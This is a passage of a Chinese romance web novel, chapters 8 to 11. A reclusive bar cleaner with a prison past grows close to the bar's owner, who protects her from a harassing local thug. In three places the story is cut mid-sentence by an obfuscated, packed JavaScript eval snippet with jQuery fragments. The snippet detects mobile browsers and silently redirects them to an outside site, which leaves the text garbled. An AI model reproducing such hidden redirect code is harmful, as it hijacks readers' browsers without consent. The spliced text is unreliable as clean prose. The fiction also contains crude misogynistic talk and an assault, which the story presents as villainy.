“两点到五点。”田遥接过画夹,背到肩上。
陈景皓看了下手机,现在已经一点半了。
“你这生活挺充实的嘛。”
田遥笑了笑,“我先走了。”她刚走了几步,却被陈景皓喊住。
“哎——”他说,“我要外出一段时间,你能帮个忙吗?”
她拇指勾着背带,太阳底下眯眼望着陈景皓。
“你说。”
陈景皓走近她,“我阳台上养了几盆花,我不在的时候,你能帮我浇下水吗——不用每天,偶尔隔几天就好。”
田遥的手在背带上滑动了一下,“到你家去么?”
“对啊,备用钥匙你有的。”陈景皓听出她的顾虑,“我那除了我,不会有人去的。”
也不是什么大事。田遥想着,点了点头。
“可以。”
“麻烦你了。”
田遥上了楼,才发觉忘了问陈景皓种的是什么花,究竟隔几天浇一次水才好。心里揣着这疑惑,下了课她匆匆往住处赶。
田遥先回自己那边拿了备用钥匙,来到陈景皓家门前,她明显踟蹰了几秒。
那是一个独居男人的家。陈景皓给了她进入的权利。
田遥开了门,屋子跟她那格局相同,小厅里布放着跟屋子一样老旧的家具,一面墙上立着书柜,柜顶上方残留奖状的痕迹。
田遥没有细看,直接走到阳台。
阳台靠外的角落立着一个豁边的大瓦缸,上头栽了棵茁壮的仙人掌,灰绿的手掌已经蹿到了楼顶。
大瓦缸旁边摆放着三个花盆,里头是湿润的土。除此以外,再也没有其他花草。
田遥站在旁边看了一会比她高的仙人掌,掏出手机发了条短信。
“陈景皓,你家只有一棵仙人掌么。”
等了一会,陈景皓没有回复。田遥用洒水壶接水,给仙人掌喂了水。她走到那个书架前要离开的时候,手机震动起来。
田遥用的还是翻盖手机,她以为是陈景皓回信息了,只是手机震动不停,田遥翻开手机——
陈景皓直接打来了电话。
“喂。”
“是我。”电话里,陈景皓的声音更富磁感,田遥险些跑神了。
“你下课了?”
“哦——”田遥说,“你家只有一棵仙人掌么。”
陈景皓:“是啊。”
“……仙人掌需要隔几天就浇水的么。”
“不用啊。”
陈景皓那边很安静,他带着颤音,像是在发笑。
“陈景皓。”
“嗯?”
这慵懒又无所谓的一声轻哼,让田遥又想发火又想发笑。
“你——你逗我玩的吧。”
陈景皓这回没忍住,真的笑了一声,“没有啊。”
田遥不出声了。
陈景皓沉默了几秒,又说:“……不敢。”
8. 第08章
田遥还是不吱声。陈景皓静了一会,投降在她的沉默之下。
“看到仙人掌旁边的三个花盆吗。”
田遥回到阳台,蹲在花盆前,“看到了。”
“里面刚埋了种子,过些天会发芽,所以得保持水份。但也不需要太多,不然种子会泡烂了。”
田遥不觉点头,说:“懂了。”
“种的是什么?”田遥看着那些黑褐色的土,上面混着细小的根须,她想象嫩芽破土而出的样子。
“向日葵。”
“为什么要种向日葵。”
陈景皓顿了会,说:“简单。”
田遥轻轻笑了,“老鼠会把种子扒出来么。”
陈景皓笑出声,“只有僵尸才会来。”
“什么意思?”
“……没什么。”
“那先这样吧。”田遥说。
“嗯。”
田遥挂了电话,仔细检查了三个花盆的情况,确认不用浇水后,她退出了阳台。
路过书架,她停了下来。
就在刚才,和陈景皓通电话的时候,田遥看到书架有三个相框。
照片里有两个人,一个是陈景皓,另外个大概是他妈妈。拍摄年代估摸在陈景皓的婴儿、小学和中学时期。
陈景皓妈妈也是个美人,但陈景皓跟她长得一点也不像。
大概长得像他爸爸吧,田遥想。
田遥为自己的想法愣住。
刚才打电话时,她瞟了一眼,总觉得这三张照片缺了点什么。现在看来……不知道陈景皓的爸爸为什么没有出现在照片里。
她没有再细瞧,最后环视了一眼这个陈旧的房间,退了出去。
明知道陈景皓不会来,田遥还是爬上了天台。她迎风点燃了一根烟,抽完就下去,绝不多呆一会儿。
等她抽到第四根的次日,田遥如旧到陈景皓家看花。
“啊,发芽了。”田遥讶然,褐色的泥土里冒出了七八颗饱满又娇小的小芽。
田遥迫不及待想告诉陈景皓,而她果然也这么做了。她掏出手机,编了一条短信。
“陈景皓,向日葵发芽了。”
她摁完那个句号,手指僵在发送键上。
这样不太好,田遥告诉自己。太主动了不行。
她又把每一个字都看了一遍,最后只是将短信存为草稿。
田遥想把小芽的风姿留存,手机没有摄像头,她想了一下,回自己那边取来速写本和铅笔,细心描绘每一根曲线。初稿画好之后,索性把水彩也带来,给它上了色。
幼芽不用每天浇水,可田遥还是每天傍晚准时来陈景皓家。她每次只逗留一幅画的时间,行动轨迹仅限于客厅和阳台,就连那几张照片,她也没有再去看过。
从嫩芽画到绿叶,田遥数了数,一共是十五张。
可是,陈景皓,你什么时候回来呢。
次日下午,田遥如常背着画夹从画室回来。楼下的树荫下,停着一辆白色的丰田SUV。这回,她特意看了车牌号。
JK907
她不知道陈景皓开过的那辆的号码,但几乎是看到它的第一眼,田遥便确定那是同一辆。
就像当初她再次看到那辆老旧的丰田卡罗拉一样。
她两级阶梯做一大步,跑上了五楼。跑得太急,田遥站到陈景皓门口时,胸口还起伏不停。
木门敞开,田遥伸手叩了三下,努力平下那口气。
陈景皓从阳台走出来,看见田遥,他并不意外。
“进来坐吧。”陈景皓对她笑了笑,回到木沙发上坐下,他两腿敞开,神色舒然。
田遥来到茶几前,右手拇指还勾着背带。
“你什么时候回来的。”田遥站着问他。
“刚刚。”陈景皓往后一靠,一条胳膊横在靠背上。“带了点特产回来,你尝尝。”他眼神指了指茶几上几个袋子。
“什么。”田遥看了一眼,没动。
陈景皓笑笑,“……你自己看啊。”
田遥弯下腰,打开其中一个袋子,里面是姜糖和桂花糕,包装上印着“澜阳特产”。
澜阳县位于邻省的北部,一个以山水风光出名的旅游县。原来陈景皓跑那么远去了。
背带从肩上滑下,画夹重量拽得她手臂抖了一下。
陈景皓又笑了,“你把东西先放下啊,老背着不累吗。”
田遥哦了一声,把画夹靠在茶几边,拖过一张木凳坐下,取了一颗姜糖放进嘴里。姜的辛辣被红糖中和,那份微带姜味的甜让她不觉皱了皱眉。
“不喜欢么。”陈景皓轻声说。
田遥摇摇头,“我不喜欢吃甜的。”
陈景皓从茶几上拿过烟盒,抽出一根点上。他右手夹着烟,手肘支在膝盖上,说:“我也不喜欢。”又看了一眼田遥,“不喜欢别勉强。”
田遥抿嘴笑了一下,说:“向日葵发芽了。”
提起向日葵,陈景皓嘴角微微勾起,说:“嗯。我看到了。”
两人不约而同地看向阳台,田遥说:“你为什么要种向日葵。”
陈景皓没有马上回答,他吸了一口烟,想了想后摇头,“不知道……以前我住这里的时候,种过。”
阳台外一方夕阳烧红的天空,偶尔一丝风拂过,向日葵的幼芽随着风摇曳几下。
口中姜糖还未融化完,田遥站起来,重新背上画夹。
“我准备要去酒吧了。”
陈景皓抬起头,说:“那回见了。”
田遥走了两步又折回来,往茶几随手指了一下,“我可以带一包么。”
陈景皓挑挑眉,说:“你不是说不喜欢甜的吗。”
“那也可以吃。”田遥拿起了一盒,“谢谢你。”
陈景皓看着她的背影,浅笑爬上嘴角。
晚上在酒吧,戴云辉在吧台后截住她,塞给她一盒东西。
“小遥子,送你的。”
田遥拿在手里一看,正是陈景皓下午给她的姜糖,冰冷的铁盒子上色彩暖洋洋的。
“你买的?”田遥看着他说。
戴云辉一脸愉快,说:“不然呢。”
话音刚落,戴云辉后脑勺挨了一记重击。他捂着脑袋,回头寻找凶手。
路过的方晓君瞪了他一眼,说:“你行了啊,借花献佛也要有个限度。”
戴云辉两眉倒竖,狠狠瞪了回去,回头又嬉皮笑脸地跟田遥说:“哈哈,被她瞎猜说对了,其实这个是皓哥从外地带回来的。”
田遥把姜糖塞回他怀里,笑着说:“谢谢。不过我不喜欢吃甜的。”
戴云辉低头看着那盒姜糖,跟尝到姜汁一样被呛了一下。
劳动节画室也放了假,田遥心血来潮,去修了头发。短发没有长发灵活,理发师只是让它变成了一个发型,不再是毫无章法的乱发。
天气热起来,田遥换上了短裤,两条腿常年掩在长裤下,白得让人有点晃神。
陈景皓在天台上看到时,迟迟不敢上去相认,他试探性先喊了一声。
“田遥?”
趴在栏杆上的人回过身,冲他笑了笑。
她的笑容和天台的夕光,两道景致完美交融,给陈景皓的视觉难以言喻的冲击。
“剪头发了啊。”陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684830|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景皓说。
田遥套着军绿色的短袖衬衫,里面还是那件白色背心,平整的锁骨裸\\露在外,跟俏皮的短发恰到好处的契合。
田遥应了一声,稍稍歪着头,看向他,说:“好看么。”
陈景皓没想她会这么问,忽地浅浅笑了,“好看。”
“哪好看。”
陈景皓再度打量了她一眼,以表思考,说:“像个小姑娘。”
“……”田遥看着他说不出话,陈景皓被她盯得低下头笑。“哪里像小姑娘了。”
陈景皓抽出一根烟叼着,说:“哪都像。”
“陈景皓!”田遥皱了皱眉头。
“嗯?”他叼着烟,抬头看她,痞气十足。
这一声轻飘飘得跟他吐出的烟雾一样,风过即散。田遥只觉双颊跟天边的云朵一样,被烧红了。
“……没事。”她闷哼了一声。
陈景皓安静了一会,见她盯着泰景江不再说话,他走近一些,侧身倚在栏杆上。
“生气了?”
田遥转头,瞧见陈景皓迫近眼前,她不由退了一步。
“才没呢。”田遥看了他一眼,陈景皓手肘拄在栏杆上,还是那副老神在在的神态。“我下去干活了。”
陈景皓目光追随着她的背影,喊了一声。
“我开玩笑的。”
田遥没有回头,也没有应声。可他分明看见,她侧身进门时,嘴角的浅笑。
酒吧里头,灯红酒绿,浮华依旧。
戴云辉前些日子在田遥那吃了瘪,对她冷淡了几分。而田遥看他依然一副淡淡的神情,实际上,田遥在酒吧里一直都是这副路人甲的姿态。没见她和谁说过话,也没见过她表情有什么变化。
戴云辉快被她整得没了脾气,又想跟她说说话,又怕碰软钉子。一番纠结之下,他把田遥差过来打扫吧台地板上不存在的灰尘。
田遥拿着拖把过来,朝戴云辉指的地方看了一眼,说:“我没看出哪里脏了。”
戴云辉用下巴指了指壁柜和地板的接缝处,“喏,你看,都黑了。”
“……这里我昨天才擦过,你看到的是阴影。”田遥平静地说,“要是没事,我先去其他地方了。”
戴云辉面露窘色,抓了一下头发,说:“哎,等等,你别走——”
“哎,小子,怎么不见你们家老板了?”
戴云辉说话被人打断,他不耐烦地扭头一看,说话人坐在吧台边,朝他招手。
那人穿着米黄色的短袖衬衫,袖口隐约露出一段刺青,戴云辉没见过他,但看那地头蛇似的架势,戴云辉不敢怠慢,笑脸迎了上去。
那人叫了个酒名,戴云辉转过身去调酒。男人的目光肆无忌惮地追随着低头路过他身边的田遥,一直到戴云辉给他调好了酒,他才恋恋不舍收回来。
“哟,全哥,什么风把您给吹来了。”
陈景皓不知从什么地方冒出来,坐到了金伟全旁边。
金伟全原来是个游手好闲、五毒俱全的地痞,跟了虎爷之后,接手了一家大有名堂的棋牌社,腰杆变硬,人也愈发嚣张。
“皓哥,好久不见了啊。”金伟全伸手重重拍了一下陈景皓的肩膀,“哎,太久没来你这里,感觉都变样了啊。”
陈景皓笑了笑,“变什么啊,还不就是那样子。”
金伟全凑过来贼兮兮地说:“你行啊,你这里连扫地的都有点姿色。”
陈景皓顺着他的目光,瞧见在一个卡座边弯扫地的田遥,她的侧脸在迷幻的光线下,染上了几分风情。
陈景皓心头一紧,他当然知道金伟全打的是什么主意。
9. 第09章
“是吗。”陈景皓扯了扯嘴角,冷声笑了一下,“我怎么觉得就一般,还没你上次带来那个好看。”
“啊——上次哪个?太多了,我都不记得了。”金伟全笑着说,“女人嘛,不就是用操的。你看那模样,水灵水灵的,比外面那些发廊妹顺眼不知多少倍——”他靠过来压低声音,“说不定啊,还是个雏呢。”
他酒杯端到唇边,玻璃将嘴角阴邪的笑容扩大了一倍。
陈景皓暗里指金伟全眼光不行,一般男人都怕别人嘲笑眼光不行、品味低下。可在金伟全的认知里,有些女人就是泄欲工具,上过即忘,跟面子扯不上半毛钱关系,陈景皓这话说了等于白说。
陈景皓站到地上,“全哥,我这可不是发廊,您老悠着点啊。”
陈景皓本来就长得高大,此刻站起来,更比他高了一个头,挡住了一部分光线,金伟全只感觉到一阵强烈的视觉压迫,一时说不出话。
陈景皓端起酒杯和他的碰了一下,“这杯,我敬你。”他不等金伟全反应,仰头一口喝光了半杯酒。
酒杯不轻不重地顿在吧台,发出警告般的声音。
陈景皓抬手招了一下戴云辉,说:“阿呆,这红鹰棋牌社的老板,全哥——全哥,难得你来一次,今晚的酒水钱免了。”戴云辉见陈景皓面色凝重,识相地应过。陈景皓又朝金爷笑了笑,“全哥,你慢慢喝,我去其他地方看看。”
他握了一下金伟全的肩膀,那力道拿捏得当,轻一分不足以警示,重一分又显得过火。
金伟全看着他高大挺拔的背影,忽然想起虎爷的话。
“陈景皓这个人虽然不在道上混了,但你最好别去惹他。他身上有种东西,你架不住。”
金伟全不知其中的名堂,纵使心里不服气,虎爷的告诫总还是要听——听不听得进去又是另一回事了。
他握着酒杯,盯着陈景皓消失的方向,直到指关节发白。
“我操——!”
陈景皓出去抽了一根烟又折回来,金伟全已经不在那里了。
“走了?”他用下巴指了下刚才金伟全坐过的地方,问戴云辉。
戴云辉摇头,指着洗手间的方向,“去那边了。”
陈景皓点点头,坐到凳子上,戴云辉问他还要酒吗,陈景皓摆摆手。他回转身,环视了一圈酒吧。
歌舞升平,觥筹交错。
一派繁华的缝隙里,他却找不到她的影子。
洗手间旁就是工具房。
就像刚才那样,他的心不可抑制缩紧。
酒吧的走廊并不长,陈景皓走到洗手间旁的工具房,里面空无一人,扫把和垃圾铲歪倒在地上。
陈景皓心觉不妙,骂了一句,又去了平时服务生的休息间。
他推门而入,扫了一眼屋里的几个人,也没有。有个坐在沙发上的服务生认出了他,低声喊了句:“皓哥……”
“你们有看到田遥吗?”陈景皓说。
屋里人面面相觑,静了一会还是刚才那个人出声,“皓哥,田遥是谁啊?”
陈景皓:“……新来那个做清洁的。”
“噢……没有见到哎。”
“她好像都没跟我们说过话——”
“是啊,平时都独来独往的——”
陈景皓离开休息室,走廊的尽头是酒吧的后门,外面有一条荒凉的小巷。
不知怎地,他想起了那一晚,他敲开了田遥的门——
他没有再犹豫,直接往后门走去。
巷子深处传来几声狗吠,某户人家的屋角悬挂了一只梨形灯泡,昏暗的光线尽头,连个人影也没有,只能看到两只垃圾回收箱,像巨大的野兽潜伏在黑暗里。
陈景皓喃喃:“怎么会……”
身后传来窸窸窣窣的声音,接着是一道熟悉的女声——
“陈景皓,你在这里干嘛。”
陈景皓被这道女声揪住,他回头,看见田遥拖着一个大黑色塑料袋,疑惑地望着他。
陈景皓上下打量了她一眼,“你没事吧。”
田遥:“啊,什么。”
陈景皓指了下那个塑料袋,“……倒垃圾啊。”
田遥点头,“对啊。”
田遥语气轻松,神情自若,像不曾遭遇过什么。
陈景皓手指头似乎都僵了,他吁了一口气,说:“没,没什么。”
他没再说什么,和她错开身,走了进来。回到吧台坐定,他才发觉额角渗出了一片凉汗。
午夜一点,陈景皓破天荒没有提前走,他把车停在路对面,车窗降下,胳膊搭在窗框上,手里夹着烟。
酒吧里的服务生鱼贯而出,陈景皓一根一根抽着烟,烟灰缸里横七竖八插满了烟头。
夜安静又凉淡,等了许久,田遥终于开门出来。
保安从里面锁了门,而后便关了灯。只那么一瞬间,田遥便融进了街边树的阴影里。
刚才找不到田遥那种感觉复又浮上来,陈景皓喊了一声——
“田遥。”
门前忽然又亮起一方光亮,那光柱朝路对面射过来,混进路灯光里没有散开,直接打到了陈景皓脸上,他反射性抬起夹着烟的手挡住眼睛。
田遥看到那辆白色SUV,立马关了电筒,朝陈景皓走过去。
“……快被你亮瞎了。”陈景皓皱着眉,把烟头掐灭在烟灰缸里。
“对不起。”田遥低声说,她盯着陈景皓的眼睛,神情严肃。
“……没事。上车吧,一起回去。”
田遥坐到副驾座上,握着黑色手电的手就搁在膝盖上。陈景皓下意识瞄了一眼那根手电。
那不是普通的手电,灯泡的一头带了四根尖锐的钢牙。
“……”他目光回到她脸上,“防狼啊。”
“防身。”田遥看了他一眼,淡淡纠正他。
“防范意识那么高啊。”陈景皓低声笑,“那你还随便上陌生人的车。”
田遥知道,他指的是他们初识的雨夜。
她又不说话了,像是时间定格,她只定定看着他。
她明明什么也没说、什么也没做,就是这么清淡得似乎不含情绪的目光,让陈景皓又怂了。
“……”陈景皓说,“系好安全带,我开车了。”
“是。”田遥把手电放在并拢的两腿上,低头去扣上安全带。
陈景皓又看了一眼手电,放下手刹启动车子。
但愿她一直只是当照明用。
第二晚,金伟全依然现身酒吧,他似乎很闲,这回还带了两个人,一块坐在舞池旁的卡座里。
陈景皓只过去招呼了一声,嘱咐戴云辉看着他们点,便离开了。
一连几晚,太平无事,金伟全一行人只是规规矩矩地喝了酒。田遥出现之时,金伟全甚至没有前一晚那样贪婪的眼光。
他们越是循规蹈矩,陈景皓越不敢掉以轻心。
照理说,他们经营
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684831|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的业务并无冲突之地,而陈景皓也跟他不是一条道上混的人,所谓无事不登三宝殿,金伟全频频到来,还是让人嗅出了火药味。
这不,连方晓君也有所察觉。
“哥,你是不是又惹到什么人了。”
方晓君和陈景皓倚在二楼的围栏边,目光都停留在金伟全的卡座上。
“没有。”陈景皓顿了一会,忽然看向她,“等等……‘又’是怎么回事。”
“不然这人怎么老往我们酒吧里跑呢。保不准啊——”方晓君翻了个白眼,“又像上次那样,来砸场的。”
“……”
两人静了一会,陈景皓朝金伟全的方向抬了抬下吧。
“你觉得金伟全这人怎么样。”
方晓君转过头,疑惑地看着他。
“什么怎么样啊,哎,还不就地痞一个。自从接手了红鹰棋牌社后,越来越嚣张了。”
方晓君轻哼一声,斜眼瞧了一下金伟全,又继续说。
“以前他来我们这,大气都不敢喘。后来啊,这老板当上了,装得还挺像样,见着个长得的漂亮点的服务生都敢调戏。前不久还刚拐跑了一个呢。”
陈景皓不咸不淡地说:“你情我愿的事,你还管人家啊。”
方晓君白了他一眼。
“那姑娘可才19岁啊——好白菜都被猪拱了!”
“你19岁的时候还都没猪拱呢。”
“陈景皓!”方晓君叉腰瞪着他。
陈景皓只嘿嘿一笑。
方晓君又往那边瞥了几眼,总结性地说:“总之,跟虎爷混的,能好得到哪去。”
“……是么。”陈景皓口气忽然变冷,“我也是从虎爷那里出来的呢。”
“不、不是——哥,我不是那个意思。”方晓君焦急地看向他,陈景皓面无表情。“哎,你跟他们不一样,真的。”
“哦?哪里不一样啊。”
陈景皓语气变得玩味,方晓君知道着了他的道,立马闭嘴。
“说啊,我跟他们哪里不一样了啊。”陈景皓不依不挠,碰了碰她的胳膊。“啊,你没见过哥这么有帅的地痞是不是。”
“呸——”方晓君瞪了他一眼,“我没见过你这么不要脸的男人。”
陈景皓哈哈笑了,他从口袋掏出烟盒,咬出了一支,“我抽根烟去。”
“抽抽抽——小心肾虚哦——!”
陈景皓已经走出了几步,他回头弯了弯嘴角,手机转玩着打火机。
“你以为我像你男人一样啊。”
“你滚!”
方晓君换了个姿势倚在栏杆上。
乐队自鸣得意地演奏,舞池里红男绿女扭曲着身体。
日复一日。
方晓君看得有些腻了。
陈景皓离开没多久,一楼的歌舞声中混杂了一阵小小的骚动声,不留心也许都没法发觉。
方晓君反射性看向金伟全那处,声源果然在那里。
金伟全今晚带了两个小弟,外加两个衣着奔放的女人,对他左拥右抱。方晓君认出来其中一个红裙的女人,以前在这里当过服务生。
卡座旁有一个人垂首而立,一手捂在脸上。
那个新来的清洁工。
方晓君远看着那里气氛不对,她叹了口气,扶着栏杆,往楼下走。
她才刚走了两步,就停了下了,嘴角露出玩味的笑。
哦,有人貌似已经迫不及待赶过去了。
10. 第10章
几分钟前,红裙女人不小心打烂了一个酒杯,酒水滩在桌上,玻璃碴满地。
田遥被一个服务生叫来清理现场,她穿着短袖,露出一段手臂。
昏淡的光线中并不能看出肤色,金伟全愣是脑补出一段玉臂,白皙莹润、富有弹性。
田遥扫了玻璃碴,又蹲下来仔仔细细地擦去桌上的水渍。金伟全就在她边上,田遥的容貌近在咫尺,他不由看呆了,只觉血液上涌、热气即将喷薄。
他指尖微微抽搐,空闲的手再也闲不住,直直摸向了田遥的手背。
“啊——”田遥吃了一惊,直直甩开金伟全的大手,从地上弹跳而起。
她手臂晃出去的时候,撞翻了金伟全另一只手里的酒杯,橙色液体全数洒在他粗犷的脸上,杯子从他手中掉落,在他身上滚了一遭,掉到地上又是嘭啷一声,碎了。
金伟全的手臂还僵在半空,酒水顺着胡茬滴下,衬衫前襟随之变得透明,众人一时都愣住。
田遥立在一旁,握着被触碰过的手,不由皱了皱眉头。
她细微的神情变化全都落在红裙女人的眼里,田遥道歉的话还来不及说,红裙女人一跃而起,毫不犹豫地奋力扇了她一巴掌。
“毛手毛脚的干什么的啊——?!全哥的衣服都被你弄湿了——!”
田遥踉跄退了一步,一巴掌把她的道歉又堵了回去。她捂着火辣辣的左脸,有片刻的眩晕。
另外一个女人狠狠瞪了田遥一眼,扯过一抽纸巾,兰花指微翘,给金伟全擦衣服。
见田遥没声响,红裙女人看了金伟全一眼,瞧着金伟全没有阻止她的意思,不禁沾沾自喜。
她走前一步,站到田遥跟前。
红裙子穿了高跟鞋,可以稍微俯视田遥,因而气焰更足了。
她推了田遥一把,又呵斥道:“愣着干什么呢啊——?!还不快给全哥道歉!”
田遥好不容易稳住,她没说话,手缓缓放下,垂在身侧,手指微微抽动。她直直看着金伟全,眼里的愤怒隐匿在灯光里。
金伟全忽然面露邪笑,推开为他擦衣的女人,微仰头看着田遥。
“你,过来。”他指了指自己胸前,“你帮我把这衣服擦干,我也就不跟你们老板打报告了。”
田遥没说话,两根秀眉几乎拧到了一块。
他的笑容没持续多久,凝固在脸上,表情变得有些狰狞。
金伟全的目光从田遥身上,移到了她身后。
“陈老板,你说说我这该怎么办好呢。哎呀,真叫人为难。”
金伟全懒洋洋往后一靠,扯着黏湿的衣襟抖了两下。
他虽规矩地叫人一声“老板”,那姿态和语气里却没半分尊重。
田遥愣怔片刻,缓缓转回头,那个高大的男人背光而立,那双黑眸更加黝黑肃静。
陈景皓没有看她,那个红裙子看见他,低下头,怯怯叫了声“皓哥”,坐回了金伟全身旁。
看到自己女人对陈景皓毕恭毕敬的模样,金伟全脸色有些难看。
“怎么回事。”陈景皓偏了偏头,低声问旁边的服务生。服务生凑到他耳边,飞快把情况简述一遍。
陈景皓的眉头越锁越紧。
金伟全看着他,眼中玩味之色渐浓。
据他观察,酒吧里眼神一直追随着这小清洁工的,可不止他一个人。
听完陈景皓忽然笑了一下,“全哥是客,如果我们有服务不到位的地方,全哥尽管提出,我们有则改之无则加勉。但是——”
陈景皓看向红裙子,“苏丽苏小姐是吧,我记得你以前也在这里上过班来着。”
他目光又回到金伟全身上。
“如果是我的员工犯的错,那也应该由我来惩罚。这点,怕是不必麻烦全哥亲自动手了吧。”
陈景皓一连用了两个假设,一点也没认错的意思。
金伟全面皮扯了扯,冷笑道:“所以,你的意思是,这是我的错了——”
他下巴抬起,像是迫不及待地要鼻孔朝天。
“全哥,您还记得我之前说过,我这里不是全哥爱逛的发廊,所以——”
陈景皓两手一摊,无可奈何地说:“要是全哥先坏了规矩——”
陈景皓点到即止,金伟全闷哼了一声,交替看了看嘴唇紧抿的田遥和状似无奈的陈景皓。
他自知理亏,这里又是陈景皓的地盘。
周围的几桌人目光渐渐聚拢到他们身上,或带着好奇,或带着期待。
金伟全静了几秒,忽然换了一副嘴脸,拍着大腿哈哈大笑。
“哈哈哈,爷今晚心情好,这事一笔勾销,就不跟你们计较了。”
“还是全哥气量大啊——”
陈景皓顿了一下,看向一直在边上察言观色的苏丽,苏丽到底年少,立马眼都吓圆了。
“既然这事完了,我们再谈另外的。据我所知,刚才的事,似乎跟苏小姐没有什么关系吧。那刚才苏小姐的这一巴掌,打得实在没理由啊——”
苏丽攥紧金伟全的衣袖,向他投去可怜兮兮的求救眼神。
金伟全状似未见,岿然不动。
陈景皓看出他态度,目光又凌厉了几分。
如果将发狠起来的金伟全比作豺狼,那此刻的陈景皓应该是一头雄狮。
沉静中带着浑然天成的威慑。
失去豺狼的庇护,苏丽吓得抖成筛子,她跑过去拉着陈景皓的胳膊,低着头带着哭腔求饶。
“皓哥,我、我错了——皓哥,我道歉,我向您道歉,您原谅我吧——我刚才、刚才就是——”
苏丽拼命找借口,就她以前所知,她的前老板还是挺好说话的。
哪知,陈景皓轻轻抽开了胳膊。
“哎,苏小姐,你打的又不是我,接不接受你道歉可不是我说了算。”
苏丽手中一空,她呆了一下,马上见风使舵,跑去扯田遥的手。刚才她是俯视田遥,这回换成了仰视。
“姐姐,姐姐,我错了——您原谅我吧,要不、要不你打回我吧——”
“……”田遥突然被她拽住,几乎站立不定。
她并非头一次被打,既没有被人这样求过,更没有想这样求过人。
在牢里蹲的时候,她也挨人揍过。
不还手会被犯人打死,还手会被狱警罚死。
两边同是生不如死的结局,三十六计走为上计,田遥选择了中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684832|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间的一条路,逃和躲。
逃离纷争,躲避人群。
“算了。”
田遥静静抽出手,拿起扫把和垃圾铲。
“我去把垃圾倒了。”
她说完,低着头,也不再看陈景皓,木木地转身走了。
陈景皓看了一眼那个背影,瘦削却坚韧。
他转向旁边的服务生,“你带全哥去换身干净的衣服,再叫个人来把这里收拾一下。”
服务生点头应过来,金伟全懒懒抬了一下手。
“不用了。”
经过刚才那么一闹,他兴致都没了。他喊同行的小弟结账,走过陈景皓身边,却伸手搭上陈景皓的肩膀,凑个头过去。
“陈景皓,这样水性杨花装逼的贱人也就你护着。”
他发出丧心病狂般的低笑。
“我告诉你吧——白天时候我还看到她和一个男人搂搂抱抱呢。你还别说,那男人啊,刚看上去长得还真他妈的跟你有点像,我还差点以为是你。哈哈哈——!怎么样,备胎的滋味很爽吧!”
他扬了扬眉毛,挥手领着那几个人走了。
陈景皓皱着眉头,等他走远了,掸了掸肩上不存在的灰尘。
这出闹剧跟开始一样,突然而至,戛然而止。
像平静的湖掉进一颗石子,涟漪很快又消失。
临近打烊,陈景皓依然没提早走。
他又在等她。
连他也搞不懂为什么。就因为搞不懂,他跟着感觉来了。
这回不用他叫,田遥一出门便习惯性似的,看向路对面。
陈景皓也望向这边。田遥忽然想到,她在阴影里,陈景皓应该是看不见她的。
可是,她总感觉,他们的目光在空中某一点交汇了。
因着这种可能自作多情的感觉——或者说,错觉——田遥向他走去。
陈景皓向副驾座方向偏了下头。
“一起回去吧。”
田遥两手踹衣兜里,站着没动,直直看着他,眉头甚至开始微皱。
陈景皓:“?”
田遥脸色严肃,说:“陈景皓,你是老板。”
陈景皓一愣,忽地又笑了。
“是又怎么了,不敢上车了啊。”
他还是那副语气和神情,不疾不徐,放松得甚至有些慵懒。
田遥脸上有些发烫,“你是老板,你没告诉我。”
陈景皓险些噎住。这样说他这老板当得挺没存在感,不然田遥来了那么久,也不会不知道。
不过——陈景皓看着她紧抿的嘴唇,又释然了。
【她好像都没跟我们说过话。】
【是啊,平时都独来独往的。】
陈景皓想了想,说:“你也没问啊。”
田遥低下头,像在思考。片刻后,她抬起头小声说:“我说你是老板的司机,你也没反驳。”
“这……你说的也没错啊。我自己给自己开车,不也兼职老板的司机了吗。”
田遥撇开头,右脚轻轻踢了一下水泥路。
“……陈景皓,你太狡猾了。”
陈景皓看着她别扭又严肃的模样,再也忍不出,噗嗤笑了出来。
11. 第11章
那晚夹了尾巴后,金伟全好些日子没出现在酒吧。
画室放假,田遥吃过午饭就在屋里呆着。
已经是彻头彻尾的夏天了,外面晒得很。
田遥将窗户和阳台的门大开,偶有夏风灌进来,把帘尾吹到了窗外。
她在客厅的方桌边画画,桌上放着一叠凌乱的画稿,上面压了一根火腿肠。
火腿肠当然不是留着自己吃的。
田遥在楼下碰见一只流浪猫,黄色斑纹。她直觉它是之前偶遇的那只——这已经无从考证。
吃了几次火腿肠,小猫似乎能认出她了。
于是,田遥下楼总会揣根火腿肠。
手上的素描已经进行几天,那是一幅肖像画。
一个男人的画像。
田遥将画夹立起,放得远一些。
是这样子的么。
田遥站起来,换了几个角度端详那幅画。
总觉得缺了点什么。
如果有现场模特就好了。田遥想。
即便对画不算满意,看着那双黝黑的眸子,她还是不由心颤。
好像那个人就在那个地方,那么静静凝视着她。
